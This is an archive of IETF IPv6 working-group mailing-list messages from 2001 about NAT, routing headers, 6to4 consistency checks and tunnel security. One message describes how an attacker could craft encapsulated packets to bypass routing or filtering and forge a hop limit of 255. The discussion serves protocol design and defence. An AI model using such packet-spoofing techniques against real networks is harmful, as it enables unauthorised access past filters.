We've been saying for quite a long time how NAT (or = others alike) disturbs end-to-end characteristic though it does slow = IPv4 address consumption while Internet grows exponentially, and IPv6 = would restore that back with its unexhaust space.

But, does people really demand that = characteristic?  What if they have just stayed with where they = live?

For day-by-day communication (voice calls, video = conferences, etc.), the indirect services seem have offered VoIP = solutions without further consume scarce address space.  I know = indirect communication would expense double bandwidth.  But, what = if people just doesn't care?

Moter

------_=_NextPart_001_01C183B0.9840C970-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 00:44:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD8iGvU029713 for ; Thu, 13 Dec 2001 00:44:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD8iGwu029712 for ipng-dist; Thu, 13 Dec 2001 00:44:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD8iDvU029704 for ; Thu, 13 Dec 2001 00:44:13 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA22171 for ; Thu, 13 Dec 2001 00:44:13 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20467 for ; Thu, 13 Dec 2001 01:44:07 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBD8iwh02567; Thu, 13 Dec 2001 15:44:59 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: Erik Nordmark , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 13 Dec 2001 15:44:58 +0700 Message-ID: <2565.1008233098@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 12 Dec 2001 20:44:46 +0200 (EET) From: Pekka Savola Message-ID: | The options basically are: | | 1) ignore the routing header, that is, act like segments left would have | been = 0 That one is clearly wrong. | 2) drop the packet silently | 3) drop the packet and send back an ICMP message | - with some already defined type/code | - with some new type/code Either of those could work - "administratively prohibited" would be an ICMP that could be sent without having to invent a new one. Whether you want to send an ICMP depends a lot on what you expect the cause of the unintended source route to be ... if it is someone trying to launch some kind of attack, and looking for someone to help them hide (or similar), then silent drop is likely to be the conclusion - on the other hand, if you expect these may come because of badly configured mobile nodes (or old packets being sent to a node using an address that a mobile one used to occupy .. a bit unlikely with IPv6 addresses of course) or similar, then sending an ICMP would be right. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 01:23:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD9NvvU029968 for ; Thu, 13 Dec 2001 01:23:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD9NvQW029967 for ipng-dist; Thu, 13 Dec 2001 01:23:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD9NpvU029952; Thu, 13 Dec 2001 01:23:52 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA24785; Thu, 13 Dec 2001 01:23:52 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA14460; Thu, 13 Dec 2001 02:23:51 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBD9NWA26988; Thu, 13 Dec 2001 11:23:38 +0200 Date: Thu, 13 Dec 2001 11:23:32 +0200 (EET) From: Pekka Savola To: Tony Hain cc: Sreeram Vankadari , , Subject: RE: Directed broadcast in IPv6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Tony Hain wrote: > Pekka Savola wrote: > > New addrarch draft says ff0e::/16 is global-scope. > Where? What I see on page 16 is: > Reserved Multicast Addresses: FF00:0:0:0:0:0:0:0 > ... > FF0E:0:0:0:0:0:0:0 > FF0F:0:0:0:0:0:0:0 > > The above multicast addresses are reserved and shall never be > assigned to any multicast group. draft-ietf-ipngwg-addr-arch-v3-07.txt 2.7 Multicast Addresses [...] scop is a 4-bit multicast scope value used to limit the scope of the multicast group. The values are: [...] E global scope > > I took this as an example of delivering packets to an IPv6 > > node when it > > might not be possible to do so directly (example: link-local > > addresses). > > I am not seeing your scenario. Could you send a picture? Consider Target Node T has two interfaces with two addresses, respectively: 2002:0102:0304::1 and 3ffe:ffff:1::1. The first one is "public" and the second is "private". 3ffe:ffff:1::/64 is not routed except locally. Target node T has not enabled packet forwarding between interfaces, or it is being strictly limited by firewall policies. If Attacker A pings 2002:0102:0304::1 it works no problems. If attacker pings 3ffe:ffff:1::1, there is no reply as the network is not reachable to the Internet on purpose. Now, attacker A can craft a packet as follows: ipv4 source= ipv4 destination=1.2.3.4 protocol=41 ipv6 source= ipv6 destination=3ffe:ffff:1::1 [payload follows] Target node T decapsulated the IPv4 packet and delivers the IPv6 packet to 3ffe:ffff:1::1 without complaints. This would not have been possible without automatic tunneling mechanisms. This issue is similar to "Routing Header" discussion in: http://www.ietf.org/internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt > > Why would a host have any reason to be 6to4 aware? I sure > > would like to > > know more of this. AFAICS that implementation wouldn't be > > honouring RFC > > 3056 definition of 6to4 host: > > > > an IPv6 host which happens to have at least one 6to4 address. > > In all other respects it is a standard IPv6 host. > > The RFC 3056 context of a 6to4 host is one that receives an RA which > contains a 6to4 format prefix. It is also possible that the host has no > IPv6 router, but includes that function within itself. In the strict > sense the functions are separate, but the fact that they are in the same > box results in the case where a 6to4 host may have a 6to4 > pseudo-interface. I wonder why this definition was chosen. But regardless, the discussion applies, just imagine "6to4 host" being "6to4 host which is not 6to4 router". > > That is, site-local and link-locals > > would not be a > > problem with tunneling. > > Link local is not to be forwarded off link in any case, and I have > always believed that site-locals don't go out over the global tunnel > interface, but there doesn't appear to be a specific statement about > that in the current documents. Addrarch 2.5.8 says site-locals must not be forwarded outside of site, and upon receipt, should be dropped. A problem is that one does not know how tunneling is implemented. If one receives a packet from a tunnel, does one apply all the same checks one would if the packet had come from the wire? Or does the implementation somehow push the packet through in some quicker way? Site/link locals are just a curiousity that might or might not work, depending on the implementation; most of these apply to global addresses as well, but would require more discussion of the topology. There are other issues, like being able to inject IPv6 packets with hop limit = 255 from anywhere in the Internet. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 01:53:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD9rLvU000063 for ; Thu, 13 Dec 2001 01:53:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD9rL7B000062 for ipng-dist; Thu, 13 Dec 2001 01:53:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD9rFvU000045; Thu, 13 Dec 2001 01:53:15 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA07855; Thu, 13 Dec 2001 01:53:16 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA06417; Thu, 13 Dec 2001 01:53:14 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBD9qvu27199; Thu, 13 Dec 2001 11:52:58 +0200 Date: Thu, 13 Dec 2001 11:52:57 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Tony Hain , Sreeram Vankadari , , Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] In-Reply-To: <3C177AEF.F7ED1922@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 12 Dec 2001, Brian E Carpenter wrote: > > The sentence refers to: > > > > whether the encapsulating IPv4 address is consistent with the encapsulated > > 2002:: address. > > > > 1) You cannot receive IPv6 packets from *relay* which have 2002::/16 > > prefix. If you do, someone is using 6to4 improperly. We agree on this. > > Actually, the relay (according to RFC 3056) is a 6to4 router that also has a > native IPv6 interface. It certainly can source 2002: packets from its own > site, as well as native source addresses from the native interface. > You can apply the consistency check, but not to relayed packets with > a native source address. I meant relay as a box that has relay functinality. Local packets are of course fine, and the consistancy check applies there so that is no problem. But the sentence IMO basically says: "there are packets [referring to 2002 prefix] coming from relay which must not be checked". By referring to 2002, the consistancy check might not be performed for _2002_ addresses (which it should not receive except for the local ones where the check would apply), thus relays becoming a source for inconsistant 2002 packets. > > 2) How do you check that 3ffe:ffff::1 is consistant with an IPv4 address? > > > > You cannot check *consistancy* unless the addresses are of form > > 2002: and . Only 2002 and IPv4 can > > be compared. > > Yes. 3056 says nothing different. I see no error in the 3056 text. Ok, I guess this is one of those way of thinking issues; whether the 'consistancy check' is basically: 1) consistancy_check(ipv6, ipv4) { if (bits 16-47 of ipv6 equal ipv4) return true else return false } or: 2) consistancy_check(ipv6, ipv4) { if prefix of ipv6 is 2002 { if (bits 16-47 of ipv6 equal ipv4) return true else return false } else return true // because consistancy is not defined for non-2002 } That is, what's the defined consistancy between native ipv6 and ipv4 addresses. Thus skipping the consistancy check becomes a bit of a blur. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 02:39:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDAdFvU000140 for ; Thu, 13 Dec 2001 02:39:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDAdF2j000139 for ipng-dist; Thu, 13 Dec 2001 02:39:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDAd8vU000123; Thu, 13 Dec 2001 02:39:08 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA12525; Thu, 13 Dec 2001 02:39:05 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA22098; Thu, 13 Dec 2001 03:38:44 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBDAdhh02943; Thu, 13 Dec 2001 17:39:43 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: Re: Directed broadcast in IPv6 In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 13 Dec 2001 17:39:43 +0700 Message-ID: <2941.1008239983@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 13 Dec 2001 11:23:32 +0200 (EET) From: Pekka Savola Message-ID: | If Attacker A pings 2002:0102:0304::1 it works no problems. If attacker | pings 3ffe:ffff:1::1, there is no reply as the network is not reachable to | the Internet on purpose. Unless it is carefully filtered, it is reachable, just harder. Relying on failing to advertise routes as an alternative to filtering is folly. | Target node T decapsulated the IPv4 packet and delivers the IPv6 packet to | 3ffe:ffff:1::1 without complaints. If the address is supposed to be filtered, the filters need to apply to decapsulated packets just as much as regular ones. If you set up (or permit) a tunnel to by-pass firewalls, you get exactly what you should get (in many cases, that is sensible service...) | A problem is that one does not know how tunneling is implemented. If one | receives a packet from a tunnel, does one apply all the same checks one | would if the packet had come from the wire? One certainly should. A tunnel interface is just an interface, the same as any other - except that by having it (and having it available) you know that you're admitting packets that other firewalls might not have noticed, thus you need to use extra care with filtering. | There are | other issues, like being able to inject IPv6 packets with hop limit = 255 | from anywhere in the Internet. Huh? if you're forwarding a packet that has been decapsulated from a tunnel, you certainly better be decrementing the TTL first (even if you're just forwarding it to a local - internal - interface). The tunnel is just a link like any other. You wouldn't be forwarding a packet from ethernet to somewhere else without decrementing its TTL, nor should you from a tunnel. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 02:46:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDAkCvU000190 for ; Thu, 13 Dec 2001 02:46:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDAkCnp000189 for ipng-dist; Thu, 13 Dec 2001 02:46:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDAk9vU000181 for ; Thu, 13 Dec 2001 02:46:09 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA13220 for ; Thu, 13 Dec 2001 02:46:10 -0800 (PST) Received: from c2bapps5.btconnect.com ([193.113.209.26]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id DAA23868 for ; Thu, 13 Dec 2001 03:46:09 -0700 (MST) Received: from designintel (actually host host213-122-221-81.btinternet.com) by c2bapps5 with SMTP (XT-PP) with ESMTP; Thu, 13 Dec 2001 10:45:05 +0000 Reply-To: From: "Christian de Larrinaga" To: "Moter Du" , Subject: RE: demand for end-to-end communication? Date: Thu, 13 Dec 2001 10:57:48 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <92C0C0AC8AE8D411864300105A835CBB5016C5@stslex.siemens.com.tw> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Moter Du Sent: 13 December 2001 08:32 Subject: demand for end-to-end communication? >For day-by-day communication (voice calls, video conferences, etc.), the indirect services seem have offered >VoIP solutions without further consume scarce address space. I know indirect communication would expense >double bandwidth. But, what if people just doesn't care? >Moter IMO need space for both. unsure about bandwidth implication. users don't care until they get spiked. christian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 04:51:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDCp5vU000399 for ; Thu, 13 Dec 2001 04:51:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDCp5AV000398 for ipng-dist; Thu, 13 Dec 2001 04:51:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDCoxvU000383; Thu, 13 Dec 2001 04:50:59 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25118; Thu, 13 Dec 2001 04:50:59 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA17283; Thu, 13 Dec 2001 04:50:58 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDCoZP28444; Thu, 13 Dec 2001 14:50:35 +0200 Date: Thu, 13 Dec 2001 14:50:35 +0200 (EET) From: Pekka Savola To: Robert Elz cc: Tony Hain , Sreeram Vankadari , , Subject: Re: (ngtrans) Re: Directed broadcast in IPv6 In-Reply-To: <2941.1008239983@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 13 Dec 2001, Robert Elz wrote: > Date: Thu, 13 Dec 2001 11:23:32 +0200 (EET) > From: Pekka Savola > Message-ID: > > | If Attacker A pings 2002:0102:0304::1 it works no problems. If attacker > | pings 3ffe:ffff:1::1, there is no reply as the network is not reachable to > | the Internet on purpose. > > Unless it is carefully filtered, it is reachable, just harder. Relying > on failing to advertise routes as an alternative to filtering is folly. It is only available from local network (that is, where you can add e.g. 'route add -host 127.0.0.1 ' anyway). > | Target node T decapsulated the IPv4 packet and delivers the IPv6 packet to > | 3ffe:ffff:1::1 without complaints. > > If the address is supposed to be filtered, the filters need to apply > to decapsulated packets just as much as regular ones. If you set up > (or permit) a tunnel to by-pass firewalls, you get exactly what you should > get (in many cases, that is sensible service...) People often make the rules wrong (e.g. filter on the outbound interface only). Not IETF's fault though. But my take is, filtering in this kind of scenario is not that commonplace. It should not have to be done in every node (see routing header debate). > | A problem is that one does not know how tunneling is implemented. If one > | receives a packet from a tunnel, does one apply all the same checks one > | would if the packet had come from the wire? > > One certainly should. A tunnel interface is just an interface, the > same as any other - except that by having it (and having it available) > you know that you're admitting packets that other firewalls might not > have noticed, thus you need to use extra care with filtering. I wonder if all implementations do this. > | There are > | other issues, like being able to inject IPv6 packets with hop limit = 255 > | from anywhere in the Internet. > > Huh? if you're forwarding a packet that has been decapsulated from a > tunnel, you certainly better be decrementing the TTL first (even if you're > just forwarding it to a local - internal - interface). The tunnel > is just a link like any other. You wouldn't be forwarding a packet from > ethernet to somewhere else without decrementing its TTL, nor should you > from a tunnel. Sure, if you're physically forwarding the packet, hop limit is decremented. Incoming tunneled packets can arrive via the outbound interface to tunnel interface with hop limit = 255. The spec says the _sender_ decrements hop limit by one, so one can forge packets here. Yhe hop limit is not decremented, if the target node (e.g. the internal interface address) itself receives the packet, IIRC. If it's forwaderded off the node, sure it's decremented. This can be IMO rather dangerous as more and more services are using "hop limit = 255" as an (additional) weak authentication method. Fortunately, at least most services require additional proof, e.g. use of link-local addresses. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 05:15:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDF7vU000450 for ; Thu, 13 Dec 2001 05:15:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDDF722000449 for ipng-dist; Thu, 13 Dec 2001 05:15:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDF4vU000442 for ; Thu, 13 Dec 2001 05:15:04 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19175 for ; Thu, 13 Dec 2001 05:15:04 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA03594 for ; Thu, 13 Dec 2001 06:14:45 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDDEpM28582; Thu, 13 Dec 2001 15:14:51 +0200 Date: Thu, 13 Dec 2001 15:14:50 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Vijay Devarapalli , Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <200112130314.fBD3EYD26870@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 13 Dec 2001, Francis Dupont wrote: > In your previous mail you wrote: > > We implementors (I can speak for a few people) > were quite happy with Home address option, BU option and > IPSec (we made it work with Mobile IPv6), until things started > going wrong from December 2000 IETF onwards. > > => I fully support Vijay's opinion (and we had firewall persons > in our group). And these firewall persons were probably stateful (by themselves or by connection to AAA system) firewall evangelists? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 05:28:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDSfvU000502 for ; Thu, 13 Dec 2001 05:28:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDDSfbc000501 for ipng-dist; Thu, 13 Dec 2001 05:28:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDScvU000494 for ; Thu, 13 Dec 2001 05:28:38 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19077; Thu, 13 Dec 2001 05:28:38 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA16596; Thu, 13 Dec 2001 06:28:36 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDDRXX28693; Thu, 13 Dec 2001 15:27:34 +0200 Date: Thu, 13 Dec 2001 15:27:33 +0200 (EET) From: Pekka Savola To: Vladislav Yasevich cc: Robert Elz , Erik Nordmark , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <3C1927FF.D398A0F@zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 13 Dec 2001, Vladislav Yasevich wrote: > In may opinion ( already stated about 2 months ago) there are really no > problems with Routing Headers. > > I am really thinking about this in terms of forwarding. If while > processing the routing header, I have to forward the packet off the > node, then all the "router" rules apply (i.e I have to have forwarding > enabled). I believe this is not how most implementatios have done this. Else for example "round-trip traceroute" would never have worked. > If the packet is forwarded to the same node (looped back), > then I am not really forwading this, and the node consumes the packet. > > We don't needlessly drop packets, MIPv6 is happy, and there are no > holes that I can see (I may be blind though:) My biggest worry is that RH processing, what you call forwarding to the same node, cannot be disabled in hosts. Other worries include bringing every node in the Internet "on-link" to a certain point. That is, when you're on-link you can do stuff like: route add -host 127.0.0.1 route add -host [ping -t 255 (so that the packet is received with 255 hop limit -- NOTE! this is only with tunneling, not applicable to RH] etc. My take is that I certainly wouldn't like anyone at all being able to do these because routing headers must be processed, and if they're "local" "forwarded" on the same node. Therefore I think stricter rules on the applicability of RH are definitely needed. In most cases, it's not necessary to be able to do. But please, if you have specific arguments, have a look at my draft. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 05:32:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDWpvU000531 for ; Thu, 13 Dec 2001 05:32:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDDWphs000530 for ipng-dist; Thu, 13 Dec 2001 05:32:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDDWmvU000523 for ; Thu, 13 Dec 2001 05:32:48 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19527 for ; Thu, 13 Dec 2001 05:32:49 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA07363 for ; Thu, 